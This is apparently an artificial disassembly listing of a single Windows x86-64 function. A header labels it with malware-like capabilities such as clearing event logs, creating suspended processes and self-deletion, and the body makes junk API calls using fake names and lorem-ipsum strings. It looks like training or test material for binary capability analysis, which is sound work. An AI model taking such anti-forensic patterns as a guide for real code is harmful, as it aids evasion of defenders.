Function at 0x405371
Capabilities:
Access the windows event log
Clear windows event logs
Create process on windows
Create process suspended
Self delete
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x948
mov rax, qword [0x004cc250]
cmp dword [rax], 0x53f6
mov qword [rsp + 0x990], rcx
mov dword [rsp + 0x998], edx
mov qword [rsp + 0x9a0], r8
jne 0x405820
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rsi
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
lea rdx, str.ProfLloydWindlerMD
lea rcx, str.MsBrandiHomenick
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov r14, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r14
mov rbx, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
call rbx
xor ecx, ecx
call rbx
mov rax, qword [0x004cbd30]
mov rbp, qword [0x004cc190]
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [rax]
mov rax, qword [0x004cc240]
mov dword [rax], edx
mov rax, qword [0x004cc440]
mov edx, dword [rbp]
mov dword [rax], 0x33939718
mov rax, qword [0x004cbc30]
mov dword [rax], edx
xor edx, edx
call rdi
xor ecx, ecx
call rbx
mov ecx, 0xd1e98088
call fcn.00413350
mov rdx, qword [0x004cc0a0]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov r11, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x68], r11
call r11
mov r12, qword [0x004cc140]
mov ecx, dword [r12]
call fcn.00413350
mov rdx, qword [0x004cbe30]
mov r15, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc470]
mov rdx, qword [0x004cbc40]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbee0]
mov rdx, qword [0x004cbc60]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc410]
mov rdx, qword [0x004cbc50]
mov eax, dword [rax]
mov dword [rdx], eax
call r15
mov rax, qword [0x004cbdf0]
mov r13, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea rcx, str.ColbySatterfield
mov dword [rax], 0x277f2999
mov rax, qword [0x004cbec0]
mov edx, dword [rax]
mov rax, qword [0x004cc4d0]
mov dword [rax], edx
mov rax, qword [0x004cc350]
xor edx, edx
mov dword [rax], 0x6bcb8810
call r13
xor edx, edx
lea rcx, str.Ipsa_illo_quo_hic_minima_recusandae_laboriosam
call r13
mov rax, qword [0x004cbcc0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc4b0]
mov dword [rax], edx
call rsi
mov r10, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x60], r10
call r10
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cbc60]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x25eca73e
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rsi, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rsi
mov r10, qword [rsp + 0x60]
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword [0x004cc3b0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc2d0]
xor ecx, ecx
mov dword [rbp], 0xa770e0ed
mov rbp, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rdx], eax
mov rax, qword [0x004cc420]
mov rdx, qword [0x004cbc50]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc060]
mov dword [rax], 0xdf8ce33e
call rbp
xor ecx, ecx
call r15
xor ecx, ecx
call rsi
xor edx, edx
lea rcx, str.MrElwynVandervort
call r13
mov r15, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.MsAlysaOConner
lea rcx, str.WillyKertzmann
call r15
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x004cc0e0]
mov ecx, 0x8172cd93
mov dword [rax], 0x4a6c455
mov rax, qword [0x004cbd20]
mov dword [rax], 0xd3bb9b0a
call fcn.00413350
mov rdx, qword [0x004cc0a0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbc90]
mov rdx, qword [0x004cbe30]
mov eax, dword [rax]
mov dword [rdx], eax
call r14
mov r14, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
lea rdx, str.Odit_consequuntur_rem_et_quae_esse_sequi_nesciunt_vel_magnam
call r14
mov r13, qword [0x004cc320]
mov edx, dword [r12]
mov rax, qword [0x004cc1d0]
mov ecx, dword [r13]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cbdf0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc390]
lea rdx, str.GiovaniHettinger
mov dword [rax], 0x6030593
call r14
mov rax, qword [0x004cbc80]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbbd0]
mov ecx, 0x98920638
mov dword [rdx], eax
mov rax, qword [0x004cbda0]
mov dword [rax], 0xb3884af5
mov rax, qword [0x004cbe90]
mov eax, dword [rax]
mov dword [r12], eax
call fcn.00413350
mov rdx, qword [0x004cbe60]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbd80]
lea rdx, str.Nihil_voluptas_necessitatibus_ut_aperiam_ab
mov dword [rax], 0x1caa521f
call r14
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
lea rcx, str.MrsTeaganHowellII
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rax, qword [0x004cc3b0]
mov r11, qword [rsp + 0x68]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc330]
mov dword [rax], edx
mov rax, qword [0x004cc310]
mov edx, dword [rax]
mov rax, qword [0x004cbeb0]
mov dword [rax], edx
mov rax, qword [0x004cc3e0]
mov edx, dword [rax]
mov rax, qword [0x004cbc70]
mov dword [rax], edx
xor edx, edx
call r11
xor ecx, ecx
call rbp
mov rax, qword [0x004cc350]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbcb0]
mov dword [rax], edx
mov rax, qword [rsp + 0x58]
call rax
mov ecx, 0x4e1abd21
call fcn.00413350
mov rdx, qword [0x004cbce0]
mov rdi, qword [0x004cbc40]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbba0]
mov eax, dword [rax]
mov dword [rdi], eax
call rbp
mov rax, qword [0x004cc350]
mov rdi, qword [0x004cc2d0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc230]
mov dword [rax], edx
mov edx, dword [r13]
mov rax, qword [0x004cc380]
mov dword [rax], edx
mov rax, qword [0x004cc450]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cbdb0]
mov dword [rax], 0xf14b4c1c
call rsi
mov rdi, qword [0x004cc1a0]
lea rdx, str.Et_et_ipsum_unde_voluptas_et_maxime_consequatur_et_placeat_qui
lea rcx, str.Sit_aperiam_velit_voluptatibus_rerum_cupiditate
mov dword [rdi], 0x2efc6511
call r15
xor ecx, ecx
call rbx
mov ecx, 0xba2f22dd
call fcn.00413350
mov rdx, qword [0x004cbc00]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbca0]
mov dword [rax], 0x4b1cf620
call rsi
mov dword [rdi], 0x60022d43
mov rax, qword [0x004cc250]
cmp dword [rax], 0x8cfa
jne 0x405e73
mov r14, qword [0x004cc340]
mov rax, qword [0x004cbd10]
xor edx, edx
xor ecx, ecx
mov rsi, qword [0x004cc420]
mov rbx, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov dword [rax], 0x5a79703c
mov eax, dword [r14]
mov dword [rsi], eax
call rbx
mov rsi, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cc0f0]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cbc80]
mov ecx, dword [r14]
mov dword [rdi], eax
call fcn.00413350
mov r13, qword [0x004cbeb0]
xor edx, edx
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [r13], eax
mov rax, qword [0x004cc190]
mov dword [rax], 0x6a85dbbc
call r12
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rdi, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.ArielleBahringer
call rdi
xor edx, edx
xor ecx, ecx
call rbx
lea r8, str.JudyKeeblerMD
xor edx, edx
xor ecx, ecx
call rdi
mov ecx, 0xeeb026f3
call fcn.00413350
mov rdx, qword [0x004cc1c0]
mov r15, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.Inventore_soluta_architecto
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004cbdf0]
mov ecx, 0xb3893a1d
mov edx, dword [rax]
mov rax, qword [0x004cc440]
mov dword [rax], edx
mov rax, qword [0x004cc140]
mov rdx, qword [0x004cc220]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbec0]
mov dword [rax], 0xe0c8077b
call fcn.00413350
mov rdx, qword [0x004cc230]
lea r8, str.Et_dolor_officiis_excepturi_laborum
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
mov rbp, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea rdx, str.MissBrisaBartolettiDVM
xor ecx, ecx
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
lea r8, str.Ea_veritatis_sunt_dolore
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cbea0]
xor ecx, ecx
mov dword [r13], 0x84889165
mov dword [rax], 0x762a6db4
mov rax, qword [rsp + 0x58]
call rax
mov r9, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov qword [rsp + 0x70], r9
call r9
mov rax, qword [0x004cc2b0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd70]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
mov r13, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
lea r8, str.CasimerHuels
call rdi
lea r8, str.Est_aut_nemo_sunt_aut
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cc400]
mov r9, qword [rsp + 0x70]
xor ecx, ecx
mov dword [rax], 0x3bc2744c
mov rax, qword [0x004cc4a0]
mov dword [rax], 0xe107998b
mov rax, qword [0x004cbde0]
mov dword [rax], 0x12a36df3
mov rax, qword [0x004cc4d0]
mov dword [rax], 0x44af2470
call r9
mov r10, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x88], r10
call r10
mov r11, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.ProfArvelKoelpinMD
lea rcx, str.DrRobinMonahan
mov qword [rsp + 0x70], r11
call r11
mov rax, qword [0x004cc130]
lea rcx, str.Illum_maxime_nostrum_voluptas_quasi_qui_porro_est_sint_ut
mov edx, dword [rax]
mov rax, qword [0x004cbd30]
mov dword [rax], edx
mov rax, qword [0x004cc160]
lea rdx, str.RavenSchmeler
mov dword [rax], 0x1520740f
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor edx, edx
xor ecx, ecx
call rsi
mov rdi, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call rdi
mov r9, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
mov qword [rsp + 0x80], r9
call r9
xor ecx, ecx
call rdi
mov rax, qword [0x004cc0f0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc470]
mov dword [rax], edx
mov rax, qword [0x004cc370]
mov edx, dword [rax]
mov rax, qword [0x004cbc40]
mov dword [rax], edx
xor edx, edx
call rsi
lea rdx, str.Rerum_odio_tenetur_itaque_voluptate_ea_eum_ut_enim_quo_maiores
xor ecx, ecx
call rbp
mov rax, qword [0x004cbc50]
mov ecx, 0x165c6b1b
mov dword [rax], 0x31a72823
call fcn.00413350
mov rdx, qword [0x004cc220]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004cbc10]
lea rcx, str.DeltaCormier
mov edx, dword [rax]
mov rax, qword [0x004cc1f0]
mov dword [rax], edx
mov rax, qword [0x004cc210]
mov edx, dword [rax]
mov rax, qword [0x004cbee0]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov rax, qword [0x004cc420]
mov ecx, 0xd1a19c70
mov rdx, qword [0x004cbe80]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc320]
mov rdx, qword [0x004cc4a0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbd20]
mov dword [rax], 0x65bd25ac
mov rax, qword [0x004cc3f0]
mov dword [rax], 0x8b917383
call fcn.00413350
mov rdx, qword [0x004cbe60]
mov r8, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc0c0]
mov qword [rsp + 0x78], r8
mov dword [rax], 0xaea3d625
call r8
xor edx, edx
xor ecx, ecx
call rsi
mov ecx, dword [r14]
call fcn.00413350
mov rdx, qword [0x004cc450]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor edx, edx
lea rcx, str.MarleyBecker
call r15
xor ecx, ecx
lea rdx, str.EvalynSchmeler
call rbp
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cc480]
mov rdx, qword [0x004cbec0]
lea rcx, str.Molestiae_magni_quia_magni_aut_voluptatem
mov r11, qword [rsp + 0x70]
mov eax, dword [rax]
mov dword [rdx], eax
lea rdx, str.Non_omnis_non
call r11
mov rax, qword [0x004cc400]
mov r11, qword [rsp + 0x70]
lea rcx, str.Suscipit_commodi_ut_quidem_natus
mov edx, dword [rax]
mov rax, qword [0x004cc150]
mov dword [rax], edx
lea rdx, str.MathiasMurphy
call r11
xor ecx, ecx
lea rdx, str.Beatae_illum_animi
call rbp
xor ecx, ecx
lea rdx, str.Voluptatem_eius_atque_a_molestiae_ea_error_rerum_laboriosam_minus
call rbp
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004cbd40]
mov ecx, dword [rax]
call fcn.00413350
mov r14, qword [0x004cbe20]
mov dword [r14], eax
mov rax, qword [0x004cc210]
mov ecx, dword [rax]
call fcn.00413350
mov rbp, qword [0x004cc4c0]
mov r9, qword [rsp + 0x80]
xor ecx, ecx
mov dword [rbp], eax
mov rax, qword [0x004cc350]
mov dword [rax], 0xb44c9fac
mov rax, qword [0x004cbbf0]
mov dword [rax], 0x839454b9
call r9
mov rax, qword [0x004cc180]
xor edx, edx
lea rcx, str.FreidaWilderman
mov dword [rax], 0x3e603f49
call r15
mov r8, qword [rsp + 0x78]
xor ecx, ecx
call r8
xor edx, edx
xor ecx, ecx
call r12
mov ecx, 0x41fb12ba
call fcn.00413350
xor ecx, ecx
mov dword [r14], eax
mov rax, qword [0x004cc2b0]
mov eax, dword [rax]
mov dword [rbp], eax
call rdi
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004cbdc0]
xor edx, edx
xor ecx, ecx
mov rdi, qword [0x004cbde0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cbbd0]
mov rdi, qword [0x004cbd20]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc2e0]
mov dword [rax], 0x56a48984
call r12
mov r10, qword [rsp + 0x88]
xor ecx, ecx
call r10
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
call r13
mov rax, qword [0x004cbe70]
mov ecx, 0xfba8bad8
mov edx, dword [rax]
mov rax, qword [0x004cbe10]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cbcb0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc3a0]
mov dword [rax], 0x1644d5b
mov rax, qword [0x004cbe90]
mov dword [rax], 0x9f5febb8
mov rax, qword [0x004cbdd0]
mov edx, dword [rax]
mov rax, qword [0x004cc2f0]
mov dword [rax], edx
call r13
mov rax, qword [0x004cbdf0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xc060559f
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cbcf0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc100]
mov dword [rax], edx
mov rax, qword [0x004cc300]
xor edx, edx
mov dword [rax], 0x47b9ba37
call rsi
mov rax, qword [0x004cbd60]
mov dword [rax], 0x17943f5e
mov rax, qword [0x004cbe80]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbed0]
mov rsi, qword [0x004cbde0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc230]
mov dword [rax], 0xda4ca958
mov rax, qword [0x004cbc80]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cc250]
cmp dword [rax], 0
je 0x406ca5
mov rax, qword [0x004cbe10]
mov dword [rax], 0x2902f450
mov rax, qword [0x004cc310]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [str._mf]
mov rbx, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004cc060]
mov dword [rax], 0xe51be7c6
call rbx
mov rbp, qword [0x004cc1b0]
mov rsi, qword [0x004cc200]
xor ecx, ecx
mov eax, dword [rbp]
mov dword [rsi], eax
call rbx
mov rax, qword [0x004cc0c0]
lea rdx, str.MalachiBogisich
lea rcx, str.MrMaxineBarrows
mov dword [rax], 0xa393139f
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.MyraJakubowski
mov qword [rsp + 0x60], rax
call rax
mov rdi, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
lea rdx, str.Accusamus_hic_voluptatem_quod_omnis_cumque_quia
call rdi
xor edx, edx
mov r13, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor ecx, ecx
call r13
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov r12, qword [0x004cbc20]
mov ecx, dword [r12]
call fcn.00413350
mov rsi, qword [0x004cbda0]
mov r11, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.MissLucileTurcotteII
lea rcx, str.Nihil_sit_nulla_ut_voluptatum_dolorem_alias_totam
mov dword [rsi], eax
mov rax, qword [0x004cc140]
mov qword [rsp + 0x88], r11
mov dword [rax], 0x1fb2797c
mov rax, qword [0x004cc370]
mov eax, dword [rax]
mov dword [rbp], eax
call r11
mov ecx, 0x4fe315e5
call fcn.00413350
mov rdx, qword [0x004cc320]
mov ecx, 0xc275a9b3
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc200]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc490]
mov dword [rax], 0xdead5c6a
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cc310]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc3b0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov qword [rsp + 0x70], rax
call rax
xor ecx, ecx
lea rdx, str.KelleyKunze
call rdi
mov rbp, qword [0x004cc4a0]
mov rdx, qword [0x004cbd40]
xor ecx, ecx
mov eax, dword [rbp]
mov dword [rdx], eax
lea rdx, str.At_aspernatur_quia_quasi_voluptas_odit
call rdi
mov rax, qword [0x004cc230]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbea0]
mov dword [rax], edx
mov rax, qword [0x004cc120]
xor edx, edx
mov dword [rax], 0xe4d7b32a
call r13
mov rax, qword [0x004cbd50]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbdc0]
mov dword [rax], edx
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0x78], rax
call rax
mov eax, dword [rsi]
mov rsi, qword [0x004cc0a0]
mov dword [rsi], eax
mov rax, qword [0x004cc2f0]
mov ecx, dword [rax]
call fcn.00413350
mov eax, dword [r12]
mov rsi, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rbp], eax
call rsi
xor edx, edx
lea rcx, str.Inventore_minus_similique_magni_expedita
mov rax, qword [rsp + 0x60]
call rax
lea rdx, str.CooperWest
lea rcx, str.MaurineNikolaus
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov r12, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004cbd10]
mov rdx, qword [0x004cbe10]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc470]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc160]
mov r14, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x004cc190]
mov r15, qword [0x004cc180]
mov edx, dword [rax]
mov rax, qword [0x004cbde0]
mov dword [r15], 0x21d38d06
mov dword [rax], edx
mov rax, qword [0x004cc2d0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbe90]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov r8, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.ProfGeneralLittle
mov qword [rsp + 0x80], r8
call r8
xor ecx, ecx
call rbx
xor ecx, ecx
call rbx
mov ecx, dword [r15]
mov rax, qword [0x004cc350]
mov dword [rax], 0xee723ca6
call fcn.00413350
mov rdx, qword [0x004cbd30]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov r15, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
call r15
xor ecx, ecx
call r14
mov rax, qword [0x004cbca0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc10]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004cbd90]
mov edx, dword [rax]
mov rax, qword [0x004cc210]
mov dword [rax], edx
mov rax, qword [0x004cbe10]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc080]
mov rsi, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov r8, qword [rsp + 0x80]
xor edx, edx
lea rcx, str.AracelyBalistreri
call r8
xor ecx, ecx
call r15
mov r10, qword [0x004cc3c0]
mov r15, qword [0x004cc420]
mov rax, qword [0x004cc390]
mov edx, dword [r10]
mov dword [rax], edx
mov edx, dword [r15]
mov rax, qword [0x004cbc70]
mov dword [rax], edx
mov rax, qword [0x004cbc50]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc150]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.MrRodGoldner
call rdi
xor ecx, ecx
call rsi
mov r9, qword [0x004cbe00]
mov rax, qword [0x004cc2c0]
mov ecx, 0x1af5995a
mov edx, dword [r9]
mov dword [rax], edx
mov rax, qword [0x004cc0a0]
mov dword [rax], 0x8ccabd6c
call fcn.00413350
mov rdx, qword [0x004cc310]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call rsi
mov ecx, 0xb9a630d8
call fcn.00413350
mov rdx, qword [0x004cc200]
mov r11, qword [rsp + 0x88]
lea rcx, str.DrEricWalterDVM
mov dword [rdx], eax
lea rdx, str.MrsBreannaRosenbaumSr
call r11
xor ecx, ecx
call rbx
mov rax, qword [0x004cc1c0]
mov edx, dword [rbp]
xor r8d, r8d
mov dword [rax], 0x178ea30d
mov rax, qword [0x004cbdd0]
mov dword [rax], edx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov ecx, 0x2dcf9d68
call fcn.00413350
mov rdx, qword [0x004cc4b0]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.NarcisoStanton
call rdi
mov rax, qword [0x004cbc40]
mov dword [rax], 0xd96e3e57
mov rax, qword [0x004cc150]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cc400]
mov r10, qword [0x004cc3c0]
mov ecx, dword [rbx]
mov dword [r10], eax
call fcn.00413350
mov rdx, qword [0x004cc160]
mov ecx, 0x2eb763cc
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc120]
xor ecx, ecx
mov dword [r15], eax
mov rax, qword [0x004cc190]
mov r15, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r15
xor ecx, ecx
call r14
lea rdx, str.AbeBalistreri
xor ecx, ecx
call rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov rax, qword [0x004cc190]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x43e9d232
call r12
lea r8, str.Ipsa_maiores_ex_magnam_autem_non_sed_totam
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rax, qword [0x004cbce0]
xor ecx, ecx
mov dword [rax], 0xd2b4637d
call rsi
mov rax, qword [str._mf]
mov ecx, dword [rax]
call fcn.00413350
mov r9, qword [0x004cbe00]
mov rdx, qword [0x004cbe30]
xor ecx, ecx
mov rdi, qword [0x004cbd20]
mov dword [rdx], eax
mov eax, dword [r9]
mov dword [rdi], eax
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov ecx, 0xeae83a6c
call fcn.00413350
mov rdx, qword [0x004cbc60]
lea rcx, str.Consequuntur_aut_aut_veritatis_sit_quaerat_debitis_natus_in_rerum_at
mov dword [rdx], eax
mov rax, qword [0x004cc110]
lea rdx, str.Inventore_excepturi_ea_vel_voluptatem_iure_et
mov eax, dword [rax]
mov dword [rbp], eax
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004cbdf0]
mov ecx, 0x571bd094
mov edx, dword [rax]
mov rax, qword [0x004cbe60]
mov dword [rax], edx
call fcn.00413350
mov rbp, qword [0x004cc3f0]
lea rcx, str.EinoNitzsche
mov dword [rbp], eax
mov rax, qword [0x004cc3e0]
mov edx, dword [rax]
mov rax, qword [0x004cc130]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cc3d0]
mov rdx, qword [0x004cbd40]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r13
xor ecx, ecx
mov dword [rbp], 0xbcf3bc6
call rsi
xor ecx, ecx
call rsi
mov ecx, 0xd9f1c4ff
call fcn.00413350
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [rsp + 0x70]
call rax
xor edx, edx
xor ecx, ecx
call r15
mov ecx, dword [rbx]
call fcn.00413350
mov rsi, qword [0x004cc060]
cmp qword [rsp + 0x9a0], 0
mov dword [rsi], eax
jne 0x406cb0
mov rax, qword [0x004cc250]
cmp dword [rax], 0x6b30
jle 0x406cc6
mov rax, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cc460]
xor edx, edx
xor ecx, ecx
lea r8, str.DrVitaVonDDS
mov rsi, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [rax], 0x58a5b45c
call rsi
xor edx, edx
mov r12, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea rcx, str.TateSwift
call r12
mov rbx, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call rbx
